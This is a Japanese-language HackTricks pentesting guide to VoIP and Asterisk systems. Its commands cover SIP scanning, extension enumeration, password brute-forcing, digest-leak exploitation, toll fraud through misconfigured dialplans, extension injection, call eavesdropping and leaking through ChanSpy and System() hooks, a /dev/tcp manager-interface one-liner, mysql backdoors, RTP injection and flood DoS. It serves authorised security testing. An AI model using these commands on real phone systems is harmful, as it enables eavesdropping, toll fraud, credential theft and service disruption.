Pentesting VoIP
Reading time: 42 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
VoIPの基本情報
VoIPの仕組みについて学ぶには、以下を確認してください:
基本メッセージ
Request name Description RFC references
------------------------------------------------------------------------------------------------------
REGISTER Register a SIP user. RFC 3261
INVITE Initiate a dialog for establishing a call. RFC 3261
ACK Confirm that an entity has received. RFC 3261
BYE Signal termination of a dialog and end a call. RFC 3261
CANCEL Cancel any pending request. RFC 3261
UPDATE Modify the state of a session without changing the state of the dialog. RFC 3311
REFER Ask recipient to issue a request for the purpose of call transfer. RFC 3515
PRACK Provisional acknowledgement. RFC 3262
SUBSCRIBE Initiates a subscription for notification of events from a notifier. RFC 6665
NOTIFY Inform a subscriber of notifications of a new event. RFC 6665
PUBLISH Publish an event to a notification server. RFC 3903
MESSAGE Deliver a text message. Used in instant messaging applications. RFC 3428
INFO Send mid-session information that does not modify the session state. RFC 6086
OPTIONS Query the capabilities of an endpoint RFC 3261
レスポンスコード
1xx—暫定レスポンス
100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated
2xx—成功したレスポンス
200 OK
202 Accepted
204 No Notification
3xx—リダイレクションレスポンス
300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service
4xx—クライアントエラー応答
400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required
5xx—サーバー障害応答
500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure
6xx—グローバル失敗応答
600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected
VoIP Enumeration
Telephone Numbers
Red Teamが最初に行うべきステップの一つは、OSINTツール、Google検索、またはウェブページのスクレイピングを使用して、会社に連絡するための利用可能な電話番号を検索することです。
電話番号を取得したら、オンラインサービスを使用してオペレーターを特定できます:
- https://www.numberingplans.com/?page=analysis&sub=phonenr
- https://mobilenumbertracker.com/
- https://www.whitepages.com/
- https://www.twilio.com/lookup
オペレーターがVoIPサービスを提供しているかどうかを知ることで、会社がVoIPを使用しているかどうかを特定できます... さらに、会社がVoIPサービスを契約していないが、PSTNカードを使用して独自のVoIP PBXを従来の電話ネットワークに接続している可能性もあります。
音楽の自動応答などは、通常VoIPが使用されていることを示しています。
Google Dorks
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
# Cisco phones
inurl:"NetworkConfiguration" cisco
# Linksys phones
intitle:"Sipura SPA Configuration"
# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
OSINT情報
VoIPソフトウェアを特定するのに役立つ他のOSINT列挙は、Red Teamにとって有益です。
ネットワーク列挙
nmap
はUDPサービスのスキャンが可能ですが、スキャンされるUDPサービスの数が多いため、非常に遅く、この種のサービスに対してあまり正確ではないかもしれません。
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
svmap
from SIPVicious (sudo apt install sipvicious
): 指定されたネットワーク内のSIPサービスを特定します。svmap
はブロックしやすいです。なぜなら、User-Agentfriendly-scanner
を使用しているからですが、/usr/share/sipvicious/sipvicious
のコードを修正して変更することができます。
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
SIPPTS scan
from sippts: SIPPTSスキャンは、UDP、TCP、またはTLS上のSIPサービス用の非常に高速なスキャナーです。マルチスレッドを使用し、大規模なネットワーク範囲をスキャンできます。ポート範囲を簡単に指定し、TCPとUDPの両方をスキャンし、別のメソッドを使用し(デフォルトではOPTIONSを使用)、異なるUser-Agentを指定することができます(その他多数)。
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
- metasploit:
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
追加のネットワーク列挙
PBXは、次のような他のネットワークサービスも公開している可能性があります:
- 69/UDP (TFTP): ファームウェアの更新
- 80 (HTTP) / 443 (HTTPS): ウェブからデバイスを管理するため
- 389 (LDAP): ユーザー情報を保存するための代替手段
- 3306 (MySQL): MySQLデータベース
- 5038 (Manager): 他のプラットフォームからAsteriskを使用することを許可
- 5222 (XMPP): Jabberを使用したメッセージ
- その他...
メソッド列挙
SIPPTS enumerate
を使用してPBXで利用可能なメソッドを見つけることができます。sippts
sippts enumerate -i 10.10.0.10
サーバーの応答の分析
サーバーが私たちに返すヘッダーを分析することは非常に重要です。これは、私たちが送信するメッセージの種類やヘッダーに依存します。SIPPTS send
を使用して、sipptsからパーソナライズされたメッセージを送信し、すべてのヘッダーを操作し、応答を分析することができます。
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
サーバーがウェブソケットを使用している場合、データを取得することも可能です。SIPPTS wssend
を使用して、sipptsからパーソナライズされたWSメッセージを送信できます。
sippts wssend -i 10.10.0.10 -r 443 -path /ws
拡張子の列挙
PBX(プライベート・ブランチ・エクスチェンジ)システムにおける拡張子は、組織やビジネス内の個々の電話回線、デバイス、またはユーザーに割り当てられたユニークな内部識別子を指します。拡張子は、各ユーザーやデバイスのために個別の外部電話番号を必要とせずに、組織内での通話を効率的にルーティングすることを可能にします。
svwar
from SIPVicious (sudo apt install sipvicious
):svwar
は無料のSIP PBX拡張ラインスキャナーです。概念的には、拡張子の範囲や指定された拡張子のリストを推測することによって、従来のウォードライラーと同様に機能します。
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
SIPPTS exten
from sippts: SIPPTS extenはSIPサーバー上の拡張を特定します。Sipextenは大規模なネットワークとポート範囲をチェックできます。
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
- metasploit: metasploitを使用して拡張機能/ユーザー名を列挙することもできます:
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
enumiax
(apt install enumiax
): enumIAX は Inter Asterisk Exchange プロトコルの ユーザー名ブルートフォース列挙ツール です。enumIAX は、2 つの異なるモードで動作することができます。シーケンシャルユーザー名推測または辞書攻撃。
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
VoIP攻撃
パスワードブルートフォース - オンライン
PBXといくつかの拡張/ユーザー名を発見した場合、Red Teamは一般的なパスワードの辞書を使用して**REGISTER
メソッド**を介して拡張に認証を試みることができます。
caution
ユーザー名は拡張と同じである可能性がありますが、この慣行はPBXシステム、その設定、および組織の好みによって異なる場合があります...
ユーザー名が拡張と異なる場合は、ブルートフォースするためのユーザー名を特定する必要があります。
svcrack
from SIPVicious (sudo apt install sipvicious
): SVCrackは、PBX上の特定のユーザー名/拡張のパスワードをクラッキングすることを可能にします。
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
SIPPTS rcrack
from sippts: SIPPTS rcrackは、SIPサービス用のリモートパスワードクラッカーです。Rcrackは、異なるIPおよびポート範囲で複数のユーザーのパスワードをテストできます。
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
- Metasploit:
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb
VoIP スニッフィング
オープンWifiネットワーク内にVoIP機器を見つけた場合、すべての情報をスニッフィングすることができます。さらに、より閉じたネットワーク(Ethernet経由または保護されたWifiに接続)内にいる場合、PBXとゲートウェイの間でMitM攻撃(例えば、ARPspoofing)を実行して情報をスニッフィングすることができます。
ネットワーク情報の中には、機器を管理するためのウェブ認証情報、ユーザーの内線番号、ユーザー名、IPアドレス、さらにはハッシュ化されたパスワードやRTPパケットが含まれており、これを再生して会話を聞くことができます。
この情報を取得するために、Wiresharkやtcpdumpなどのツールを使用できますが、VoIP会話をスニッフィングするために特別に作成されたツールはucsniffです。
caution
SIP通信でTLSが使用されている場合、SIP通信をクリアで見ることはできません。
SRTPやZRTPが使用されている場合も同様で、RTPパケットはクリアテキストではありません。
SIP 認証情報(パスワードブルートフォース - オフライン)
SIP REGISTER通信をよりよく理解するためのこの例を確認してください 認証情報がどのように送信されるかを学ぶために。
sipdump
&sipcrack
, sipcrackの一部(apt-get install sipcrack
):これらのツールは、SIPプロトコル内のダイジェスト認証をpcapから抽出し、ブルートフォースすることができます。
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
SIPPTS dump
from sippts: SIPPTS dumpはpcapファイルからダイジェスト認証を抽出できます。
sippts dump -f capture.pcap -o data.txt
SIPPTS dcrack
from sippts: SIPPTS dcrackは、SIPPTSダンプで取得したダイジェスト認証をクラッキングするためのツールです。
sippts dcrack -f data.txt -w wordlist/rockyou.txt
SIPPTS tshark
from sippts: SIPPTS tsharkはPCAPファイルからSIPプロトコルのデータを抽出します。
sippts tshark -f capture.pcap [-filter auth]
DTMF コード
SIP 認証情報だけでなく、ボイスメールにアクセスするために使用される DTMF コードもネットワークトラフィック内で見つけることができます。
これらのコードは INFO SIP メッセージ、音声、または RTP パケット内で送信することが可能です。コードが RTP パケット内にある場合、その会話の部分を切り取り、ツール multimo を使用して抽出することができます:
multimon -a DTMF -t wac pin.wav
無料通話 / Asterisk接続の誤設定
Asteriskでは、特定のIPアドレスからの接続を許可することも、任意のIPアドレスからの接続を許可することも可能です:
host=10.10.10.10
host=dynamic
指定されたIPアドレスがある場合、ホストはREGISTERリクエストを定期的に送信する必要がなくなります(REGISTERパケットには通常30分の有効期限が含まれており、他のシナリオでは電話は30分ごとにREGISTERする必要があります)。ただし、VoIPサーバーからの接続を受け入れるためにオープンポートが必要です。
ユーザーを定義するには、次のように定義できます:
type=user
: ユーザーはユーザーとしてのみ通話を受けることができます。type=friend
: ピアとして通話を行い、ユーザーとして受けることが可能です(拡張機能と共に使用)。type=peer
: ピアとして通話を送受信することが可能です(SIPトランク)。
信頼を確立するために、不正確な変数を使用することも可能です:
insecure=port
: IPによって検証されたピア接続を許可します。insecure=invite
: INVITEメッセージの認証を必要としません。insecure=port,invite
: 両方。
warning
type=friend
が使用されると、host変数の値は使用されません。したがって、管理者がその値を使用してSIPトランクを誤設定すると、誰でも接続できるようになります。
例えば、この設定は脆弱です:
host=10.10.10.10
insecure=port,invite
type=friend
無料通話 / Asteriskコンテキストの誤設定
Asteriskにおいて、コンテキストはダイヤルプラン内の関連する拡張機能、アクション、およびルールをグループ化する名前付きコンテナまたはセクションです。ダイヤルプランはAsteriskシステムのコアコンポーネントであり、着信および発信通話がどのように処理され、ルーティングされるかを定義します。コンテキストはダイヤルプランを整理し、アクセス制御を管理し、システムの異なる部分間の分離を提供するために使用されます。
各コンテキストは設定ファイル、通常は**extensions.conf
**ファイルで定義されます。コンテキストは角括弧で示され、その中にコンテキスト名が含まれます。例えば:
csharpCopy code[my_context]
コンテキスト内では、拡張機能(ダイヤルされた番号のパターン)を定義し、それを一連のアクションやアプリケーションに関連付けます。これらのアクションは、通話がどのように処理されるかを決定します。例えば:
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
この例は、「my_context」というシンプルなコンテキストと「100」という拡張を示しています。誰かが100にダイヤルすると、通話が応答され、ウェルカムメッセージが再生され、その後通話が終了します。
これは、他の番号に電話をかけることを許可する 別のコンテキストです:
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
管理者がデフォルトコンテキストを次のように定義した場合:
[default]
include => my_context
include => external
warning
誰でもサーバーを使って他の番号に電話をかけることができる(サーバーの管理者が通話料金を支払うことになります)。
caution
さらに、デフォルトで**sip.conf
ファイルにはallowguest=true
が含まれているため、認証なしの任意の**攻撃者が他の番号に電話をかけることができます。
SIPPTS invite
from sippts: SIPPTS inviteは、PBXサーバーが認証なしで通話を許可しているかどうかを確認します。SIPサーバーに不正な設定がある場合、外部番号への通話を許可します。また、通話を第二の外部番号に転送することも可能です。
例えば、Asteriskサーバーに不適切なコンテキスト設定がある場合、認証なしでINVITEリクエストを受け入れることができます。この場合、攻撃者はユーザー名やパスワードを知らなくても通話をかけることができます。
# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
無料通話 / 誤設定されたIVRS
IVRSはインタラクティブ音声応答システムの略で、ユーザーが音声またはトーン入力を通じてコンピュータ化されたシステムと対話することを可能にする電話技術です。IVRSは、情報提供、通話のルーティング、ユーザー入力のキャプチャなど、さまざまな機能を提供する自動通話処理システムを構築するために使用されます。
VoIPシステムにおけるIVRSは通常、以下で構成されています:
- 音声プロンプト:ユーザーをIVRメニューオプションや指示に導く事前録音された音声メッセージ。
- DTMF(デュアルトーン多周波数)信号:電話のキーを押すことで生成されるトーン入力で、IVRメニューをナビゲートし、入力を提供するために使用されます。
- 通話ルーティング:ユーザー入力に基づいて、特定の部門、エージェント、または内線など、適切な宛先に通話を直接送信します。
- ユーザー入力のキャプチャ:呼び出し者からの情報を収集します。例えば、アカウント番号、ケースID、またはその他の関連データなどです。
- 外部システムとの統合:IVRシステムをデータベースや他のソフトウェアシステムに接続し、情報にアクセスまたは更新し、アクションを実行したり、イベントをトリガーしたりします。
Asterisk VoIPシステムでは、ダイヤルプラン(**extensions.conf
**ファイル)を使用してIVRを作成し、Background()
、Playback()
、Read()
などのさまざまなアプリケーションを使用できます。これらのアプリケーションは、音声プロンプトを再生し、ユーザー入力をキャプチャし、通話の流れを制御するのに役立ちます。
脆弱な設定の例
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
前の例では、ユーザーに1を押して部門に電話するように、2を押して別の部門に電話するように、または知っている場合は完全な内線番号を入力するように求められます。
脆弱性は、指定された内線番号の長さがチェックされないため、ユーザーが5秒のタイムアウトを持つ完全な番号を入力すると、それが呼び出される可能性があることです。
Extension Injection
次のような内線を使用して:
exten => _X.,1,Dial(SIP/${EXTEN})
${EXTEN}
は 呼び出される内線番号 であり、ext 101 が導入されると、次のようなことが起こります:
exten => 101,1,Dial(SIP/101)
しかし、もし ${EXTEN}
が 数字以外のもの(古いAsteriskバージョンのように)を入力することを許可する場合、攻撃者は 101&SIP123123123
を入力して電話番号123123123に電話をかけることができます。そして、これが結果になります:
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
したがって、101
および123123123
への呼び出しが送信され、最初のものだけが接続されます... しかし、攻撃者がマッチをバイパスする拡張子を使用し、存在しない場合、彼は望ましい番号にのみ呼び出しを注入することができる。
SIPDigestLeak 脆弱性
SIP Digest Leakは、多くのSIP電話、ハードウェアおよびソフトウェアのIP電話、電話アダプタ(VoIPからアナログ)に影響を与える脆弱性です。この脆弱性は、パスワードから計算されたDigest認証応答の漏洩を可能にします。オフラインパスワード攻撃が可能であり、チャレンジ応答に基づいてほとんどのパスワードを回復できます。
- IP電話(被害者)は任意のポート(例:5060)で電話を受け付けています
- 攻撃者はIP電話にINVITEを送信します
- 被害者の電話が鳴り、誰かが電話を取り、すぐに切ります(相手が電話に出ないため)
- 電話が切られると、被害者の電話は攻撃者にBYEを送信します
- 攻撃者は407応答を発行し、認証を要求し、認証チャレンジを発行します
- 被害者の電話は2回目のBYEで認証チャレンジに対する応答を提供します
- 攻撃者はローカルマシン(または分散ネットワークなど)でチャレンジ応答に対してブルートフォース攻撃を実行し、パスワードを推測できます
- SIPPTS漏洩はsipptsから: SIPPTS漏洩は、多くのSIP電話に影響を与えるSIP Digest Leak脆弱性を悪用します。出力はSipCrack形式で保存でき、SIPPTS dcrackまたはSipCrackツールを使用してブルートフォース攻撃を行うことができます。
sippts leak -i 10.10.0.10
[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100
[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
Click2Call
Click2Callは、ウェブユーザー(例えば、製品に興味があるかもしれない)が電話番号を入力して呼び出されることを可能にします。次に、商業用の電話がかかり、彼が電話に出ると、ユーザーはエージェントと接続されます。
これに一般的なAsteriskプロファイルは次のとおりです:
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
- 前のプロファイルは任意のIPアドレスが接続することを許可しています(パスワードが知られている場合)。
- 通話を組織するためには、前述のように、読み取り権限は必要ありません、必要なのは 書き込みの発信のみです。
これらの権限があれば、パスワードを知っている任意のIPが接続し、次のような過剰な情報を抽出することができます:
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
さらなる情報やアクションが要求される場合があります。
盗聴
Asteriskでは、ChanSpy
コマンドを使用して、監視する内線番号(またはすべて)を指定することで、行われている会話を聞くことができます。このコマンドは内線番号に割り当てる必要があります。
例えば、exten => 333,1,ChanSpy('all',qb)
は、内線番号 333 に電話をかけると、all
の内線を監視し、静かなモード(q
)で新しい会話が始まるときに聞き始めることを示しています(b
)。私たちはそれに対してインタラクトしたくないからです。*
を押すか、内線番号を入力することで、行われている会話から別の会話に移動することができます。
特定の内線番号のみを監視するために、ExtenSpy
を使用することも可能です。
会話を聞く代わりに、次のような内線を使用してファイルに録音することもできます:
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
通話は /tmp
に保存されます。
Asterisk に 通話を漏洩させるスクリプトを実行させる こともできます。
exten => h,1,System(/tmp/leak_conv.sh &)
RTCPBleed 脆弱性
RTCPBleed は、Asterisk ベースの VoIP サーバーに影響を与える重大なセキュリティ問題です(2017年に公開)。この脆弱性により、VoIP 会話を運ぶ RTP (Real Time Protocol) トラフィック が インターネット上の誰でも傍受およびリダイレクトできる ようになります。これは、RTP トラフィックが NAT (Network Address Translation) ファイアウォールを通過する際に認証をバイパスするために発生します。
RTP プロキシは、2 つ以上の当事者間で RTP ストリームをプロキシすることによって RTC システムに影響を与える NAT の制限 に対処しようとします。NAT が存在する場合、RTP プロキシソフトウェアは、しばしばシグナリング(例:SIP)を通じて取得された RTP IP およびポート情報に依存できません。したがって、いくつかの RTP プロキシは、そのような IP およびポートのタプルを自動的に学習する メカニズムを実装しています。これは、受信した RTP トラフィックを検査し、受信した RTP トラフィックのソース IP およびポートを応答すべきものとしてマークすることによって行われます。このメカニズムは「学習モード」と呼ばれることがあり、いかなる種類の認証も使用しません。したがって、攻撃者 は RTP トラフィックを RTP プロキシに送信し、進行中の RTP ストリームの発信者または受信者に送信されるべきプロキシされた RTP トラフィックを受け取る ことができます。この脆弱性を RTP Bleed と呼ぶのは、攻撃者が正当なユーザーに送信されるべき RTP メディアストリームを受け取ることを可能にするからです。
RTP プロキシおよび RTP スタックのもう一つの興味深い挙動は、RTP Bleed に対して脆弱でない場合でも、任意のソースからの RTP パケットを受け入れ、転送および/または処理する ことです。したがって、攻撃者は正当なメディアの代わりに自分のメディアを注入できる RTP パケットを送信できます。この攻撃を RTP 注入と呼ぶのは、既存の RTP ストリームに不正な RTP パケットを注入できるからです。この脆弱性は、RTP プロキシとエンドポイントの両方に存在する可能性があります。
Asterisk と FreePBX は伝統的に NAT=yes
設定 を使用しており、これにより RTP トラフィックが認証をバイパスし、通話で音声がないか一方向の音声になる可能性があります。
詳細については https://www.rtpbleed.com/ を確認してください。
SIPPTS rtpbleed
from sippts: SIPPTS rtpbleed は RTP ストリームを送信することによって RTP Bleed 脆弱性を検出します。
sippts rtpbleed -i 10.10.0.10
SIPPTS rtcpbleed
from sippts: SIPPTS rtcpbleedは、RTCPストリームを送信することでRTP Bleed脆弱性を検出します。
sippts rtcpbleed -i 10.10.0.10
SIPPTS rtpbleedflood
from sippts: SIPPTS rtpbleedfloodは、RTPストリームを送信することでRTP Bleed脆弱性を悪用します。
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
SIPPTS rtpbleedinject
from sippts: SIPPTS rtpbleedinjectは、音声ファイル(WAV形式)を注入してRTP Bleed脆弱性を悪用します。
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
RCE
Asteriskでは、拡張ルールを追加して再読み込みすることができる方法があり(例えば、脆弱なウェブマネージャーサーバーを侵害することによって)、System
コマンドを使用してRCEを取得することが可能です。
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
**Shell
というコマンドは、必要に応じてSystem
**の代わりにシステムコマンドを実行するために使用できます。
warning
サーバーが**System
コマンドで特定の文字の使用を禁止している場合(Elastixのように)、ウェブサーバーがシステム内にファイルを作成することを許可しているか確認し(Elastixやtrixboxのように)、それを使用してバックドアスクリプトを作成し、その後System
を使用してそのスクリプトを実行**します。
興味深いローカルファイルと権限
sip.conf
-> SIPユーザーのパスワードを含みます。- Asteriskサーバーがrootとして実行されている場合、rootを危険にさらすことができます。
- mysql rootユーザーはパスワードを持っていない可能性があります。
- これを使用して新しいmysqlユーザーをバックドアとして作成できます。
FreePBX
amportal.conf
-> ウェブパネル管理者(FreePBX)のパスワードを含みます。FreePBX.conf
-> データベースにアクセスするために使用されるFreePBXuserのパスワードを含みます。- これを使用して新しいmysqlユーザーをバックドアとして作成できます。
Elastix
Elastix.conf
-> mysql rootパス、IMAPdパス、ウェブ管理者パスなど、いくつかのパスワードが平文で含まれています。- いくつかのフォルダーは、侵害されたasteriskユーザーに属します(rootとして実行されていない場合)。このユーザーは前述のファイルを読み取ることができ、設定を制御できるため、Asteriskが実行時に他のバックドアバイナリを読み込むようにすることができます。
RTPインジェクション
rtpinsertsound
(sudo apt install rtpinsertsound
)や**rtpmixsound
(sudo apt install rtpmixsound
)などのツールを使用して、会話に.wav
**を挿入することが可能です。
または、http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/からのスクリプトを使用して、会話をスキャンする(rtpscan.pl
)、会話に**.wav
を送信する(rtpsend.pl
)、および会話にノイズを挿入する(rtpflood.pl
**)ことができます。
DoS
VoIPサーバーでDoSを達成するためのいくつかの方法があります。
SIPPTS flood
from sippts**: SIPPTS floodはターゲットに無制限のメッセージを送信します。sippts flood -i 10.10.0.10 -m invite -v
SIPPTS ping
from sippts**: SIPPTS pingはサーバーの応答時間を確認するためにSIP pingを行います。sippts ping -i 10.10.0.10
- IAXFlooder: Asteriskで使用されるDoS IAXプロトコル
- inviteflood: UDP/IP上でSIP/SDP INVITEメッセージの洪水を実行するためのツール。
- rtpflood: いくつかの適切に形成されたRTPパケットを送信します。使用されているRTPポートを知る必要があります(最初にスニッフィングしてください)。
- SIPp: SIPトラフィックを分析および生成することができます。したがって、DoSにも使用できます。
- SIPsak: SIPスイスアーミーナイフ。SIP攻撃を実行するためにも使用できます。
- Fuzzers: protos-sip、voiper。
OSの脆弱性
Asteriskのようなソフトウェアをインストールする最も簡単な方法は、すでにインストールされているOSディストリビューションをダウンロードすることです。例:FreePBX、Elastix、Trixbox... これらの問題は、一度動作し始めると、システム管理者が再度更新しない可能性があり、脆弱性が時間とともに発見されることです。
参考文献
- https://github.com/Pepelux/sippts/wiki
- https://github.com/EnableSecurity/sipvicious
- http://blog.pepelux.org/
- https://www.rtpbleed.com/
- https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4
- https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。